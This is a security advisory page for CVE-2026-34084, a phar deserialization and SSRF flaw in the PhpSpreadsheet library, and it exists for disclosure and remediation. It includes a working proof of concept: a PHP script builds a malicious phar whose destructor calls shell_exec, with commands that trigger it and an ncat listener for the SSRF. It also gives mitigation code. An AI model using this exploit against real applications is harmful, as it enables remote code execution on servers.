Skip to main content

PhpSpreadsheet CVE-2026-34084

CRITICAL
Deserialization of Untrusted Data (CWE-502)
2026-04-29 https://github.com/PHPOffice/PhpSpreadsheet GHSA-q4q6-r8wh-5cgh
9.2
CVSS 4.0 · Vendor: https://github.com/PHPOffice/PhpSpreadsheet
Share

Severity by source

Vendor (https://github.com/PHPOffice/PhpSpreadsheet) PRIMARY
9.2 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.1 HIGH

AV:N and PR:N since no library auth is needed, but AC:H because exploitation depends on user-controlled filename reaching the loader and, for RCE, an external POP gadget chain; full C/I/A impact on successful phar deserialization.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/PHPOffice/PhpSpreadsheet).

CVSS VectorVendor: https://github.com/PHPOffice/PhpSpreadsheet

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

5
Source Code Evidence Fetched
Jul 24, 2026 - 01:26 vuln.today
Analysis Generated
Jul 24, 2026 - 01:26 vuln.today
CVSS changed
May 05, 2026 - 20:22 NVD
9.2 (CRITICAL)
CVE Published
Apr 29, 2026 - 20:22 github-advisory
CRITICAL 9.2
CVE Published
Apr 29, 2026 - 20:22 nvd
HIGH

DescriptionCVE.org

The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat(). The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).

PoC

To reproduce the vulnerable behavior, the following scripts were used:

php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:

ini
phar.readonly=0

make_phar.php to create the malicious file:

php
<?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";

test.php showcases the unsafe pattern:

php
<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$filename = $argv[1] ?? null;

if (!$filename) {
    echo "Usage: php test.php <path>\n";
    echo "  e.g. php test.php phar://exploit.xlsx/whatever\n";
    exit(1);
}

echo "Calling IOFactory::load('" . $filename . "')\n";

try {
    $spreadsheet = IOFactory::load($filename);
    var_dump($spreadsheet);
} catch (Throwable $e) {
    echo "Vuln has still triggered even if exception triggers.\n";
}

RCE

Run the PoC (for RCE):

bash
php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt

The file /tmp/poc.txt should now be present on disk. > Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead.

SSRF

Run the PoC (for SSRF):

bash
ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test

Observe a connection is made to 127.0.0.1 on port 21.

Root Cause Analysis

Following the API exposed by the library, using IOFactory::load, the code proceeds as follows:

php
IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) ->  File::assertFile($filename, ...) -> is_file($filename);

The one obvious gadget that was found is guarded via __unserialize (or __wakeup in older versions) in the XMLWriter class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.

php
    public function __destruct()
    {
        // Unlink temporary files
        // There is nothing reasonable to do if unlink fails.
        if ($this->tempFileName != '') {
            @unlink($this->tempFileName);
        }
    }

    /** @param mixed[] $data */
    public function __unserialize(array $data): void
    {
        $this->tempFileName = '';

        throw new SpreadsheetException('Unserialize not permitted');
    }

Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like maatwebsite/excel for Laravel, sonata-project/exporter and so on, hence the deserialization vector stays relevant in other contexts.

Suggested mitigations

Use is_file only after making sure the filename does not contain any php wrapper:

php
$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :)
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
    throw new \PhpOffice\PhpSpreadsheet\Exception(
        "Stream wrappers are not permitted as file paths: {$filename}"
    );
}

or perhaps even just passing it to realpath before calling is_file to ensure it is parsed correctly:

php
$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
    throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}

// from here on, $real should be a clean absolute path so we can pass it to is_file()
if (!is_file($real)) {
    throw new ...
}

> Note: stream_is_local() would also not be safe here - as it considers phar:// to be local and would not block it.

AnalysisAI

Server-side request forgery and potential remote code execution affect PhpOffice PhpSpreadsheet when an application passes an attacker-controlled filename to IOFactory::load or any Reader. Because the File::assertFile helper validates paths with is_file(), which is PHP stream-wrapper aware, an attacker can supply phar://, ftp://, or ssh2.sftp:// paths to force outbound connections (SSRF) or trigger phar metadata deserialization (CWE-502) leading to code execution if a usable POP gadget exists. Publicly available exploit code exists (PoC in the GitHub advisory); it is not in CISA KEV and EPSS is low (0.10%), indicating no observed widespread exploitation yet.

Technical ContextAI

PhpSpreadsheet is a widely used PHP library for reading and writing spreadsheet formats (XLSX, CSV, ODS, etc.), distributed via Composer as phpoffice/phpspreadsheet. The root cause is that File::assertFile() uses PHP's is_file() to confirm a file exists, but is_file() honors registered stream wrappers that implement stat(), including phar://, ftp:// and ssh2.sftp://. Merely stat-ing a phar:// path causes PHP to parse the archive and unserialize its serialized metadata, which is the classic phar deserialization sink underlying CWE-502 (Deserialization of Untrusted Data). The affected call path is IOFactory::load() → IReader::load() → IReader::loadSpreadsheetFromFile() → File::assertFile() → is_file(). The library's most obvious internal gadget (XMLWriter) is guarded by __unserialize/__wakeup throwing an exception, so weaponizing RCE within this library alone is blocked - but gadget chains from co-installed packages remain viable.

RemediationAI

Vendor-released patch: upgrade to 5.6.0, 3.10.4, 2.4.4, or 2.1.15 depending on your release line (per GHSA-q4q6-r8wh-5cgh: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-q4q6-r8wh-5cgh). If immediate upgrade is not possible, the primary compensating control is to reject stream-wrapper paths before they reach IOFactory::load: parse the scheme with parse_url($filename, PHP_URL_SCHEME) and refuse any scheme longer than one character (the single-character check preserves Windows drive letters like C:\), or resolve the path through realpath() (which is not wrapper-aware) and validate the returned absolute path with is_file() before loading. Additionally, never pass raw user-supplied filenames to the loader - constrain inputs to a known upload directory and validate the resolved real path stays within it. Note that stream_is_local() is NOT a safe filter, as it treats phar:// as local. Trade-off: strict scheme blocking will break any legitimate use of remote or archive-based paths, so confirm your application does not intentionally load via wrappers before enforcing it.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

Share

CVE-2026-34084 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy